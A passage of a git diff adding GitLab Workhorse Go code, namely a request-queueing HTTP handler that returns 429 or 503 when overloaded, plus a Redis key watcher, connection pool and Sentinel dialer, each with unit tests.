+ s.queueingBusy.Dec()
+}
diff --git a/workhorse/internal/queueing/queue_test.go b/workhorse/internal/queueing/queue_test.go
new file mode 100644
index 00000000000..7f5ed9154f4
--- /dev/null
+++ b/workhorse/internal/queueing/queue_test.go
@@ -0,0 +1,62 @@
+package queueing
+
+import (
+ "testing"
+ "time"
+)
+
+func TestNormalQueueing(t *testing.T) {
+ q := newQueue("queue 1", 2, 1, time.Microsecond)
+ err1 := q.Acquire()
+ if err1 != nil {
+ t.Fatal("we should acquire a new slot")
+ }
+
+ err2 := q.Acquire()
+ if err2 != nil {
+ t.Fatal("we should acquire a new slot")
+ }
+
+ err3 := q.Acquire()
+ if err3 != ErrQueueingTimedout {
+ t.Fatal("we should timeout")
+ }
+
+ q.Release()
+
+ err4 := q.Acquire()
+ if err4 != nil {
+ t.Fatal("we should acquire a new slot")
+ }
+}
+
+func TestQueueLimit(t *testing.T) {
+ q := newQueue("queue 2", 1, 0, time.Microsecond)
+ err1 := q.Acquire()
+ if err1 != nil {
+ t.Fatal("we should acquire a new slot")
+ }
+
+ err2 := q.Acquire()
+ if err2 != ErrTooManyRequests {
+ t.Fatal("we should fail because of not enough slots in queue")
+ }
+}
+
+func TestQueueProcessing(t *testing.T) {
+ q := newQueue("queue 3", 1, 1, time.Second)
+ err1 := q.Acquire()
+ if err1 != nil {
+ t.Fatal("we should acquire a new slot")
+ }
+
+ go func() {
+ time.Sleep(50 * time.Microsecond)
+ q.Release()
+ }()
+
+ err2 := q.Acquire()
+ if err2 != nil {
+ t.Fatal("we should acquire slot after the previous one finished")
+ }
+}
diff --git a/workhorse/internal/queueing/requests.go b/workhorse/internal/queueing/requests.go
new file mode 100644
index 00000000000..409a7656fa4
--- /dev/null
+++ b/workhorse/internal/queueing/requests.go
@@ -0,0 +1,51 @@
+package queueing
+
+import (
+ "net/http"
+ "time"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+const (
+ DefaultTimeout = 30 * time.Second
+ httpStatusTooManyRequests = 429
+)
+
+// QueueRequests creates a new request queue
+// name specifies the name of queue, used to label Prometheus metrics
+// Don't call QueueRequests twice with the same name argument!
+// h specifies a http.Handler which will handle the queue requests
+// limit specifies number of requests run concurrently
+// queueLimit specifies maximum number of requests that can be queued
+// queueTimeout specifies the time limit of storing the request in the queue
+func QueueRequests(name string, h http.Handler, limit, queueLimit uint, queueTimeout time.Duration) http.Handler {
+ if limit == 0 {
+ return h
+ }
+ if queueTimeout == 0 {
+ queueTimeout = DefaultTimeout
+ }
+
+ queue := newQueue(name, limit, queueLimit, queueTimeout)
+
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ err := queue.Acquire()
+
+ switch err {
+ case nil:
+ defer queue.Release()
+ h.ServeHTTP(w, r)
+
+ case ErrTooManyRequests:
+ http.Error(w, "Too Many Requests", httpStatusTooManyRequests)
+
+ case ErrQueueingTimedout:
+ http.Error(w, "Service Unavailable", http.StatusServiceUnavailable)
+
+ default:
+ helper.Fail500(w, r, err)
+ }
+
+ })
+}
diff --git a/workhorse/internal/queueing/requests_test.go b/workhorse/internal/queueing/requests_test.go
new file mode 100644
index 00000000000..f1c52e5c6f5
--- /dev/null
+++ b/workhorse/internal/queueing/requests_test.go
@@ -0,0 +1,76 @@
+package queueing
+
+import (
+ "fmt"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+ "time"
+)
+
+var httpHandler = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ fmt.Fprintln(w, "OK")
+})
+
+func pausedHttpHandler(pauseCh chan struct{}) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ <-pauseCh
+ fmt.Fprintln(w, "OK")
+ })
+}
+
+func TestNormalRequestProcessing(t *testing.T) {
+ w := httptest.NewRecorder()
+ h := QueueRequests("Normal request processing", httpHandler, 1, 1, time.Second)
+ h.ServeHTTP(w, nil)
+ if w.Code != 200 {
+ t.Fatal("QueueRequests should process request")
+ }
+}
+
+// testSlowRequestProcessing creates a new queue,
+// then it runs a number of requests that are going through queue,
+// we return the response of first finished request,
+// where status of request can be 200, 429 or 503
+func testSlowRequestProcessing(name string, count int, limit, queueLimit uint, queueTimeout time.Duration) *httptest.ResponseRecorder {
+ pauseCh := make(chan struct{})
+ defer close(pauseCh)
+
+ handler := QueueRequests("Slow request processing: "+name, pausedHttpHandler(pauseCh), limit, queueLimit, queueTimeout)
+
+ respCh := make(chan *httptest.ResponseRecorder, count)
+
+ // queue requests to use up the queue
+ for i := 0; i < count; i++ {
+ go func() {
+ w := httptest.NewRecorder()
+ handler.ServeHTTP(w, nil)
+ respCh <- w
+ }()
+ }
+
+ // dequeue first request
+ return <-respCh
+}
+
+// TestQueueingTimeout performs 2 requests
+// the queue limit and length is 1,
+// the second request gets timed-out
+func TestQueueingTimeout(t *testing.T) {
+ w := testSlowRequestProcessing("timeout", 2, 1, 1, time.Microsecond)
+
+ if w.Code != 503 {
+ t.Fatal("QueueRequests should timeout queued request")
+ }
+}
+
+// TestQueueingTooManyRequests performs 3 requests
+// the queue limit and length is 1,
+// so the third request has to be rejected with 429
+func TestQueueingTooManyRequests(t *testing.T) {
+ w := testSlowRequestProcessing("too many requests", 3, 1, 1, time.Minute)
+
+ if w.Code != 429 {
+ t.Fatal("QueueRequests should return immediately and return too many requests")
+ }
+}
diff --git a/workhorse/internal/redis/keywatcher.go b/workhorse/internal/redis/keywatcher.go
new file mode 100644
index 00000000000..96e33a64b85
--- /dev/null
+++ b/workhorse/internal/redis/keywatcher.go
@@ -0,0 +1,198 @@
+package redis
+
+import (
+ "fmt"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/gomodule/redigo/redis"
+ "github.com/jpillora/backoff"
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+var (
+ keyWatcher = make(map[string][]chan string)
+ keyWatcherMutex sync.Mutex
+ redisReconnectTimeout = backoff.Backoff{
+ //These are the defaults
+ Min: 100 * time.Millisecond,
+ Max: 60 * time.Second,
+ Factor: 2,
+ Jitter: true,
+ }
+ keyWatchers = promauto.NewGauge(
+ prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_keywatcher_keywatchers",
+ Help: "The number of keys that is being watched by gitlab-workhorse",
+ },
+ )
+ totalMessages = promauto.NewCounter(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_keywatcher_total_messages",
+ Help: "How many messages gitlab-workhorse has received in total on pubsub.",
+ },
+ )
+)
+
+const (
+ keySubChannel = "workhorse:notifications"
+)
+
+// KeyChan holds a key and a channel
+type KeyChan struct {
+ Key string
+ Chan chan string
+}
+
+func processInner(conn redis.Conn) error {
+ defer conn.Close()
+ psc := redis.PubSubConn{Conn: conn}
+ if err := psc.Subscribe(keySubChannel); err != nil {
+ return err
+ }
+ defer psc.Unsubscribe(keySubChannel)
+
+ for {
+ switch v := psc.Receive().(type) {
+ case redis.Message:
+ totalMessages.Inc()
+ dataStr := string(v.Data)
+ msg := strings.SplitN(dataStr, "=", 2)
+ if len(msg) != 2 {
+ helper.LogError(nil, fmt.Errorf("keywatcher: invalid notification: %q", dataStr))
+ continue
+ }
+ key, value := msg[0], msg[1]
+ notifyChanWatchers(key, value)
+ case error:
+ helper.LogError(nil, fmt.Errorf("keywatcher: pubsub receive: %v", v))
+ // Intermittent error, return nil so that it doesn't wait before reconnect
+ return nil
+ }
+ }
+}
+
+func dialPubSub(dialer redisDialerFunc) (redis.Conn, error) {
+ conn, err := dialer()
+ if err != nil {
+ return nil, err
+ }
+
+ // Make sure Redis is actually connected
+ conn.Do("PING")
+ if err := conn.Err(); err != nil {
+ conn.Close()
+ return nil, err
+ }
+
+ return conn, nil
+}
+
+// Process redis subscriptions
+//
+// NOTE: There Can Only Be One!
+func Process() {
+ log.Info("keywatcher: starting process loop")
+ for {
+ conn, err := dialPubSub(workerDialFunc)
+ if err != nil {
+ helper.LogError(nil, fmt.Errorf("keywatcher: %v", err))
+ time.Sleep(redisReconnectTimeout.Duration())
+ continue
+ }
+ redisReconnectTimeout.Reset()
+
+ if err = processInner(conn); err != nil {
+ helper.LogError(nil, fmt.Errorf("keywatcher: process loop: %v", err))
+ }
+ }
+}
+
+func notifyChanWatchers(key, value string) {
+ keyWatcherMutex.Lock()
+ defer keyWatcherMutex.Unlock()
+ if chanList, ok := keyWatcher[key]; ok {
+ for _, c := range chanList {
+ c <- value
+ keyWatchers.Dec()
+ }
+ delete(keyWatcher, key)
+ }
+}
+
+func addKeyChan(kc *KeyChan) {
+ keyWatcherMutex.Lock()
+ defer keyWatcherMutex.Unlock()
+ keyWatcher[kc.Key] = append(keyWatcher[kc.Key], kc.Chan)
+ keyWatchers.Inc()
+}
+
+func delKeyChan(kc *KeyChan) {
+ keyWatcherMutex.Lock()
+ defer keyWatcherMutex.Unlock()
+ if chans, ok := keyWatcher[kc.Key]; ok {
+ for i, c := range chans {
+ if kc.Chan == c {
+ keyWatcher[kc.Key] = append(chans[:i], chans[i+1:]...)
+ keyWatchers.Dec()
+ break
+ }
+ }
+ if len(keyWatcher[kc.Key]) == 0 {
+ delete(keyWatcher, kc.Key)
+ }
+ }
+}
+
+// WatchKeyStatus is used to tell how WatchKey returned
+type WatchKeyStatus int
+
+const (
+ // WatchKeyStatusTimeout is returned when the watch timeout provided by the caller was exceeded
+ WatchKeyStatusTimeout WatchKeyStatus = iota
+ // WatchKeyStatusAlreadyChanged is returned when the value passed by the caller was never observed
+ WatchKeyStatusAlreadyChanged
+ // WatchKeyStatusSeenChange is returned when we have seen the value passed by the caller get changed
+ WatchKeyStatusSeenChange
+ // WatchKeyStatusNoChange is returned when the function had to return before observing a change.
+ // Also returned on errors.
+ WatchKeyStatusNoChange
+)
+
+// WatchKey waits for a key to be updated or expired
+func WatchKey(key, value string, timeout time.Duration) (WatchKeyStatus, error) {
+ kw := &KeyChan{
+ Key: key,
+ Chan: make(chan string, 1),
+ }
+
+ addKeyChan(kw)
+ defer delKeyChan(kw)
+
+ currentValue, err := GetString(key)
+ if err != nil {
+ return WatchKeyStatusNoChange, fmt.Errorf("keywatcher: redis GET: %v", err)
+ }
+ if currentValue != value {
+ return WatchKeyStatusAlreadyChanged, nil
+ }
+
+ select {
+ case currentValue := <-kw.Chan:
+ if currentValue == "" {
+ return WatchKeyStatusNoChange, fmt.Errorf("keywatcher: redis GET failed")
+ }
+ if currentValue == value {
+ return WatchKeyStatusNoChange, nil
+ }
+ return WatchKeyStatusSeenChange, nil
+
+ case <-time.After(timeout):
+ return WatchKeyStatusTimeout, nil
+ }
+}
diff --git a/workhorse/internal/redis/keywatcher_test.go b/workhorse/internal/redis/keywatcher_test.go
new file mode 100644
index 00000000000..f1ee77e2194
--- /dev/null
+++ b/workhorse/internal/redis/keywatcher_test.go
@@ -0,0 +1,162 @@
+package redis
+
+import (
+ "sync"
+ "testing"
+ "time"
+
+ "github.com/rafaeljusto/redigomock"
+ "github.com/stretchr/testify/require"
+)
+
+const (
+ runnerKey = "runner:build_queue:10"
+)
+
+func createSubscriptionMessage(key, data string) []interface{} {
+ return []interface{}{
+ []byte("message"),
+ []byte(key),
+ []byte(data),
+ }
+}
+
+func createSubscribeMessage(key string) []interface{} {
+ return []interface{}{
+ []byte("subscribe"),
+ []byte(key),
+ []byte("1"),
+ }
+}
+func createUnsubscribeMessage(key string) []interface{} {
+ return []interface{}{
+ []byte("unsubscribe"),
+ []byte(key),
+ []byte("1"),
+ }
+}
+
+func countWatchers(key string) int {
+ keyWatcherMutex.Lock()
+ defer keyWatcherMutex.Unlock()
+ return len(keyWatcher[key])
+}
+
+func deleteWatchers(key string) {
+ keyWatcherMutex.Lock()
+ defer keyWatcherMutex.Unlock()
+ delete(keyWatcher, key)
+}
+
+// Forces a run of the `Process` loop against a mock PubSubConn.
+func processMessages(numWatchers int, value string) {
+ psc := redigomock.NewConn()
+
+ // Setup the initial subscription message
+ psc.Command("SUBSCRIBE", keySubChannel).Expect(createSubscribeMessage(keySubChannel))
+ psc.Command("UNSUBSCRIBE", keySubChannel).Expect(createUnsubscribeMessage(keySubChannel))
+ psc.AddSubscriptionMessage(createSubscriptionMessage(keySubChannel, runnerKey+"="+value))
+
+ // Wait for all the `WatchKey` calls to be registered
+ for countWatchers(runnerKey) != numWatchers {
+ time.Sleep(time.Millisecond)
+ }
+
+ processInner(psc)
+}
+
+func TestWatchKeySeenChange(t *testing.T) {
+ conn, td := setupMockPool()
+ defer td()
+
+ conn.Command("GET", runnerKey).Expect("something")
+
+ wg := &sync.WaitGroup{}
+ wg.Add(1)
+
+ go func() {
+ val, err := WatchKey(runnerKey, "something", time.Second)
+ require.NoError(t, err, "Expected no error")
+ require.Equal(t, WatchKeyStatusSeenChange, val, "Expected value to change")
+ wg.Done()
+ }()
+
+ processMessages(1, "somethingelse")
+ wg.Wait()
+}
+
+func TestWatchKeyNoChange(t *testing.T) {
+ conn, td := setupMockPool()
+ defer td()
+
+ conn.Command("GET", runnerKey).Expect("something")
+
+ wg := &sync.WaitGroup{}
+ wg.Add(1)
+
+ go func() {
+ val, err := WatchKey(runnerKey, "something", time.Second)
+ require.NoError(t, err, "Expected no error")
+ require.Equal(t, WatchKeyStatusNoChange, val, "Expected notification without change to value")
+ wg.Done()
+ }()
+
+ processMessages(1, "something")
+ wg.Wait()
+}
+
+func TestWatchKeyTimeout(t *testing.T) {
+ conn, td := setupMockPool()
+ defer td()
+
+ conn.Command("GET", runnerKey).Expect("something")
+
+ val, err := WatchKey(runnerKey, "something", time.Millisecond)
+ require.NoError(t, err, "Expected no error")
+ require.Equal(t, WatchKeyStatusTimeout, val, "Expected value to not change")
+
+ // Clean up watchers since Process isn't doing that for us (not running)
+ deleteWatchers(runnerKey)
+}
+
+func TestWatchKeyAlreadyChanged(t *testing.T) {
+ conn, td := setupMockPool()
+ defer td()
+
+ conn.Command("GET", runnerKey).Expect("somethingelse")
+
+ val, err := WatchKey(runnerKey, "something", time.Second)
+ require.NoError(t, err, "Expected no error")
+ require.Equal(t, WatchKeyStatusAlreadyChanged, val, "Expected value to have already changed")
+
+ // Clean up watchers since Process isn't doing that for us (not running)
+ deleteWatchers(runnerKey)
+}
+
+func TestWatchKeyMassivelyParallel(t *testing.T) {
+ runTimes := 100 // 100 parallel watchers
+
+ conn, td := setupMockPool()
+ defer td()
+
+ wg := &sync.WaitGroup{}
+ wg.Add(runTimes)
+
+ getCmd := conn.Command("GET", runnerKey)
+
+ for i := 0; i < runTimes; i++ {
+ getCmd = getCmd.Expect("something")
+ }
+
+ for i := 0; i < runTimes; i++ {
+ go func() {
+ val, err := WatchKey(runnerKey, "something", time.Second)
+ require.NoError(t, err, "Expected no error")
+ require.Equal(t, WatchKeyStatusSeenChange, val, "Expected value to change")
+ wg.Done()
+ }()
+ }
+
+ processMessages(runTimes, "somethingelse")
+ wg.Wait()
+}
diff --git a/workhorse/internal/redis/redis.go b/workhorse/internal/redis/redis.go
new file mode 100644
index 00000000000..0029a2a9e2b
--- /dev/null
+++ b/workhorse/internal/redis/redis.go
@@ -0,0 +1,295 @@
+package redis
+
+import (
+ "errors"
+ "fmt"
+ "net"
+ "net/url"
+ "time"
+
+ "github.com/FZambia/sentinel"
+ "github.com/gomodule/redigo/redis"
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+var (
+ pool *redis.Pool
+ sntnl *sentinel.Sentinel
+)
+
+const (
+ // Max Idle Connections in the pool.
+ defaultMaxIdle = 1
+ // Max Active Connections in the pool.
+ defaultMaxActive = 1
+ // Timeout for Read operations on the pool. 1 second is technically overkill,
+ // it's just for sanity.
+ defaultReadTimeout = 1 * time.Second
+ // Timeout for Write operations on the pool. 1 second is technically overkill,
+ // it's just for sanity.
+ defaultWriteTimeout = 1 * time.Second
+ // Timeout before killing Idle connections in the pool. 3 minutes seemed good.
+ // If you _actually_ hit this timeout often, you should consider turning of
+ // redis-support since it's not necessary at that point...
+ defaultIdleTimeout = 3 * time.Minute
+ // KeepAlivePeriod is to keep a TCP connection open for an extended period of
+ // time without being killed. This is used both in the pool, and in the
+ // worker-connection.
+ // See https://en.wikipedia.org/wiki/Keepalive#TCP_keepalive for more
+ // information.
+ defaultKeepAlivePeriod = 5 * time.Minute
+)
+
+var (
+ totalConnections = promauto.NewCounter(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_redis_total_connections",
+ Help: "How many connections gitlab-workhorse has opened in total. Can be used to track Redis connection rate for this process",
+ },
+ )
+
+ errorCounter = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_redis_errors",
+ Help: "Counts different types of Redis errors encountered by workhorse, by type and destination (redis, sentinel)",
+ },
+ []string{"type", "dst"},
+ )
+)
+
+func sentinelConn(master string, urls []config.TomlURL) *sentinel.Sentinel {
+ if len(urls) == 0 {
+ return nil
+ }
+ var addrs []string
+ for _, url := range urls {
+ h := url.URL.String()
+ log.WithFields(log.Fields{
+ "scheme": url.URL.Scheme,
+ "host": url.URL.Host,
+ }).Printf("redis: using sentinel")
+ addrs = append(addrs, h)
+ }
+ return &sentinel.Sentinel{
+ Addrs: addrs,
+ MasterName: master,
+ Dial: func(addr string) (redis.Conn, error) {
+ // This timeout is recommended for Sentinel-support according to the guidelines.
+ // https://redis.io/topics/sentinel-clients#redis-service-discovery-via-sentinel
+ // For every address it should try to connect to the Sentinel,
+ // using a short timeout (in the order of a few hundreds of milliseconds).
+ timeout := 500 * time.Millisecond
+ url := helper.URLMustParse(addr)
+
+ var c redis.Conn
+ var err error
+ options := []redis.DialOption{
+ redis.DialConnectTimeout(timeout),
+ redis.DialReadTimeout(timeout),
+ redis.DialWriteTimeout(timeout),
+ }
+
+ if url.Scheme == "redis" || url.Scheme == "rediss" {
+ c, err = redis.DialURL(addr, options...)
+ } else {
+ c, err = redis.Dial("tcp", url.Host, options...)
+ }
+
+ if err != nil {
+ errorCounter.WithLabelValues("dial", "sentinel").Inc()
+ return nil, err
+ }
+ return c, nil
+ },
+ }
+}
+
+var poolDialFunc func() (redis.Conn, error)
+var workerDialFunc func() (redis.Conn, error)
+
+func timeoutDialOptions(cfg *config.RedisConfig) []redis.DialOption {
+ readTimeout := defaultReadTimeout
+ writeTimeout := defaultWriteTimeout
+
+ if cfg != nil {
+ if cfg.ReadTimeout != nil {
+ readTimeout = cfg.ReadTimeout.Duration
+ }
+
+ if cfg.WriteTimeout != nil {
+ writeTimeout = cfg.WriteTimeout.Duration
+ }
+ }
+ return []redis.DialOption{
+ redis.DialReadTimeout(readTimeout),
+ redis.DialWriteTimeout(writeTimeout),
+ }
+}
+
+func dialOptionsBuilder(cfg *config.RedisConfig, setTimeouts bool) []redis.DialOption {
+ var dopts []redis.DialOption
+ if setTimeouts {
+ dopts = timeoutDialOptions(cfg)
+ }
+ if cfg == nil {
+ return dopts
+ }
+ if cfg.Password != "" {
+ dopts = append(dopts, redis.DialPassword(cfg.Password))
+ }
+ if cfg.DB != nil {
+ dopts = append(dopts, redis.DialDatabase(*cfg.DB))
+ }
+ return dopts
+}
+
+func keepAliveDialer(timeout time.Duration) func(string, string) (net.Conn, error) {
+ return func(network, address string) (net.Conn, error) {
+ addr, err := net.ResolveTCPAddr(network, address)
+ if err != nil {
+ return nil, err
+ }
+ tc, err := net.DialTCP(network, nil, addr)
+ if err != nil {
+ return nil, err
+ }
+ if err := tc.SetKeepAlive(true); err != nil {
+ return nil, err
+ }
+ if err := tc.SetKeepAlivePeriod(timeout); err != nil {
+ return nil, err
+ }
+ return tc, nil
+ }
+}
+
+type redisDialerFunc func() (redis.Conn, error)
+
+func sentinelDialer(dopts []redis.DialOption, keepAlivePeriod time.Duration) redisDialerFunc {
+ return func() (redis.Conn, error) {
+ address, err := sntnl.MasterAddr()
+ if err != nil {
+ errorCounter.WithLabelValues("master", "sentinel").Inc()
+ return nil, err
+ }
+ dopts = append(dopts, redis.DialNetDial(keepAliveDialer(keepAlivePeriod)))
+ return redisDial("tcp", address, dopts...)
+ }
+}
+
+func defaultDialer(dopts []redis.DialOption, keepAlivePeriod time.Duration, url url.URL) redisDialerFunc {
+ return func() (redis.Conn, error) {
+ if url.Scheme == "unix" {
+ return redisDial(url.Scheme, url.Path, dopts...)
+ }
+
+ dopts = append(dopts, redis.DialNetDial(keepAliveDialer(keepAlivePeriod)))
+
+ // redis.DialURL only works with redis[s]:// URLs
+ if url.Scheme == "redis" || url.Scheme == "rediss" {
+ return redisURLDial(url, dopts...)
+ }
+
+ return redisDial(url.Scheme, url.Host, dopts...)
+ }
+}
+
+func redisURLDial(url url.URL, options ...redis.DialOption) (redis.Conn, error) {
+ log.WithFields(log.Fields{
+ "scheme": url.Scheme,
+ "address": url.Host,
+ }).Printf("redis: dialing")
+
+ return redis.DialURL(url.String(), options...)
+}
+
+func redisDial(network, address string, options ...redis.DialOption) (redis.Conn, error) {
+ log.WithFields(log.Fields{
+ "network": network,
+ "address": address,
+ }).Printf("redis: dialing")
+
+ return redis.Dial(network, address, options...)
+}
+
+func countDialer(dialer redisDialerFunc) redisDialerFunc {
+ return func() (redis.Conn, error) {
+ c, err := dialer()
+ if err != nil {
+ errorCounter.WithLabelValues("dial", "redis").Inc()
+ } else {
+ totalConnections.Inc()
+ }
+ return c, err
+ }
+}
+
+// DefaultDialFunc should always used. Only exception is for unit-tests.
+func DefaultDialFunc(cfg *config.RedisConfig, setReadTimeout bool) func() (redis.Conn, error) {
+ keepAlivePeriod := defaultKeepAlivePeriod
+ if cfg.KeepAlivePeriod != nil {
+ keepAlivePeriod = cfg.KeepAlivePeriod.Duration
+ }
+ dopts := dialOptionsBuilder(cfg, setReadTimeout)
+ if sntnl != nil {
+ return countDialer(sentinelDialer(dopts, keepAlivePeriod))
+ }
+ return countDialer(defaultDialer(dopts, keepAlivePeriod, cfg.URL.URL))
+}
+
+// Configure redis-connection
+func Configure(cfg *config.RedisConfig, dialFunc func(*config.RedisConfig, bool) func() (redis.Conn, error)) {
+ if cfg == nil {
+ return
+ }
+ maxIdle := defaultMaxIdle
+ if cfg.MaxIdle != nil {
+ maxIdle = *cfg.MaxIdle
+ }
+ maxActive := defaultMaxActive
+ if cfg.MaxActive != nil {
+ maxActive = *cfg.MaxActive
+ }
+ sntnl = sentinelConn(cfg.SentinelMaster, cfg.Sentinel)
+ workerDialFunc = dialFunc(cfg, false)
+ poolDialFunc = dialFunc(cfg, true)
+ pool = &redis.Pool{
+ MaxIdle: maxIdle, // Keep at most X hot connections
+ MaxActive: maxActive, // Keep at most X live connections, 0 means unlimited
+ IdleTimeout: defaultIdleTimeout, // X time until an unused connection is closed
+ Dial: poolDialFunc,
+ Wait: true,
+ }
+ if sntnl != nil {
+ pool.TestOnBorrow = func(c redis.Conn, t time.Time) error {
+ if !sentinel.TestRole(c, "master") {
+ return errors.New("role check failed")
+ }
+ return nil
+ }
+ }
+}
+
+// Get a connection for the Redis-pool
+func Get() redis.Conn {
+ if pool != nil {
+ return pool.Get()
+ }
+ return nil
+}
+
+// GetString fetches the value of a key in Redis as a string
+func GetString(key string) (string, error) {
+ conn := Get()
+ if conn == nil {
+ return "", fmt.Errorf("redis: could not get connection from pool")
+ }
+ defer conn.Close()
+
+ return redis.String(conn.Do("GET", key))
+}
diff --git a/workhorse/internal/redis/redis_test.go b/workhorse/internal/redis/redis_test.go
new file mode 100644
index 00000000000..f4b4120517d
--- /dev/null
+++ b/workhorse/internal/redis/redis_test.go
@@ -0,0 +1,234 @@
+package redis
+
+import (
+ "net"
+ "testing"
+ "time"
+
+ "github.com/gomodule/redigo/redis"
+ "github.com/rafaeljusto/redigomock"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+func mockRedisServer(t *testing.T, connectReceived *bool) string {
+ ln, err := net.Listen("tcp", "127.0.0.1:0")
+
+ require.Nil(t, err)
+
+ go func() {
+ defer ln.Close()
+ conn, err := ln.Accept()
+ require.Nil(t, err)
+ *connectReceived = true
+ conn.Write([]byte("OK\n"))
+ }()
+
+ return ln.Addr().String()
+}
+
+// Setup a MockPool for Redis
+//
+// Returns a teardown-function and the mock-connection
+func setupMockPool() (*redigomock.Conn, func()) {
+ conn := redigomock.NewConn()
+ cfg := &config.RedisConfig{URL: config.TomlURL{}}
+ Configure(cfg, func(_ *config.RedisConfig, _ bool) func() (redis.Conn, error) {
+ return func() (redis.Conn, error) {
+ return conn, nil
+ }
+ })
+ return conn, func() {
+ pool = nil
+ }
+}
+
+func TestDefaultDialFunc(t *testing.T) {
+ testCases := []struct {
+ scheme string
+ }{
+ {
+ scheme: "tcp",
+ },
+ {
+ scheme: "redis",
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.scheme, func(t *testing.T) {
+ connectReceived := false
+ a := mockRedisServer(t, &connectReceived)
+
+ parsedURL := helper.URLMustParse(tc.scheme + "://" + a)
+ cfg := &config.RedisConfig{URL: config.TomlURL{URL: *parsedURL}}
+
+ dialer := DefaultDialFunc(cfg, true)
+ conn, err := dialer()
+
+ require.Nil(t, err)
+ conn.Receive()
+
+ require.True(t, connectReceived)
+ })
+ }
+}
+
+func TestConfigureNoConfig(t *testing.T) {
+ pool = nil
+ Configure(nil, nil)
+ require.Nil(t, pool, "Pool should be nil")
+}
+
+func TestConfigureMinimalConfig(t *testing.T) {
+ cfg := &config.RedisConfig{URL: config.TomlURL{}, Password: ""}
+ Configure(cfg, DefaultDialFunc)
+
+ require.NotNil(t, pool, "Pool should not be nil")
+ require.Equal(t, 1, pool.MaxIdle)
+ require.Equal(t, 1, pool.MaxActive)
+ require.Equal(t, 3*time.Minute, pool.IdleTimeout)
+
+ pool = nil
+}
+
+func TestConfigureFullConfig(t *testing.T) {
+ i, a := 4, 10
+ r := config.TomlDuration{Duration: 3}
+ cfg := &config.RedisConfig{
+ URL: config.TomlURL{},
+ Password: "",
+ MaxIdle: &i,
+ MaxActive: &a,
+ ReadTimeout: &r,
+ }
+ Configure(cfg, DefaultDialFunc)
+
+ require.NotNil(t, pool, "Pool should not be nil")
+ require.Equal(t, i, pool.MaxIdle)
+ require.Equal(t, a, pool.MaxActive)
+ require.Equal(t, 3*time.Minute, pool.IdleTimeout)
+
+ pool = nil
+}
+
+func TestGetConnFail(t *testing.T) {
+ conn := Get()
+ require.Nil(t, conn, "Expected `conn` to be nil")
+}
+
+func TestGetConnPass(t *testing.T) {
+ _, teardown := setupMockPool()
+ defer teardown()
+ conn := Get()
+ require.NotNil(t, conn, "Expected `conn` to be non-nil")
+}
+
+func TestGetStringPass(t *testing.T) {
+ conn, teardown := setupMockPool()
+ defer teardown()
+ conn.Command("GET", "foobar").Expect("baz")
+ str, err := GetString("foobar")
+
+ require.NoError(t, err, "Expected `err` to be nil")
+ var value string
+ require.IsType(t, value, str, "Expected value to be a string")
+ require.Equal(t, "baz", str, "Expected it to be equal")
+}
+
+func TestGetStringFail(t *testing.T) {
+ _, err := GetString("foobar")
+ require.Error(t, err, "Expected error when not connected to redis")
+}
+
+func TestSentinelConnNoSentinel(t *testing.T) {
+ s := sentinelConn("", []config.TomlURL{})
+
+ require.Nil(t, s, "Sentinel without urls should return nil")
+}
+
+func TestSentinelConnDialURL(t *testing.T) {
+ testCases := []struct {
+ scheme string
+ }{
+ {
+ scheme: "tcp",
+ },
+ {
+ scheme: "redis",
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.scheme, func(t *testing.T) {
+ connectReceived := false
+ a := mockRedisServer(t, &connectReceived)
+
+ addrs := []string{tc.scheme + "://" + a}
+ var sentinelUrls []config.TomlURL
+
+ for _, a := range addrs {
+ parsedURL := helper.URLMustParse(a)
+ sentinelUrls = append(sentinelUrls, config.TomlURL{URL: *parsedURL})
+ }
+
+ s := sentinelConn("foobar", sentinelUrls)
+ require.Equal(t, len(addrs), len(s.Addrs))
+
+ for i := range addrs {
+ require.Equal(t, addrs[i], s.Addrs[i])
+ }
+
+ conn, err := s.Dial(s.Addrs[0])
+
+ require.Nil(t, err)
+ conn.Receive()
+
+ require.True(t, connectReceived)
+ })
+ }
+}
+
+func TestSentinelConnTwoURLs(t *testing.T) {
+ addrs := []string{"tcp://10.0.0.1:12345", "tcp://10.0.0.2:12345"}
+ var sentinelUrls []config.TomlURL
+
+ for _, a := range addrs {
+ parsedURL := helper.URLMustParse(a)
+ sentinelUrls = append(sentinelUrls, config.TomlURL{URL: *parsedURL})
+ }
+
+ s := sentinelConn("foobar", sentinelUrls)
+ require.Equal(t, len(addrs), len(s.Addrs))
+
+ for i := range addrs {
+ require.Equal(t, addrs[i], s.Addrs[i])
+ }
+}
+
+func TestDialOptionsBuildersPassword(t *testing.T) {
+ dopts := dialOptionsBuilder(&config.RedisConfig{Password: "foo"}, false)
+ require.Equal(t, 1, len(dopts))
+}
+
+func TestDialOptionsBuildersSetTimeouts(t *testing.T) {
+ dopts := dialOptionsBuilder(nil, true)
+ require.Equal(t, 2, len(dopts))
+}
+
+func TestDialOptionsBuildersSetTimeoutsConfig(t *testing.T) {
+ cfg := &config.RedisConfig{
+ ReadTimeout: &config.TomlDuration{Duration: time.Second * time.Duration(15)},
+ WriteTimeout: &config.TomlDuration{Duration: time.Second * time.Duration(15)},
+ }
+ dopts := dialOptionsBuilder(cfg, true)
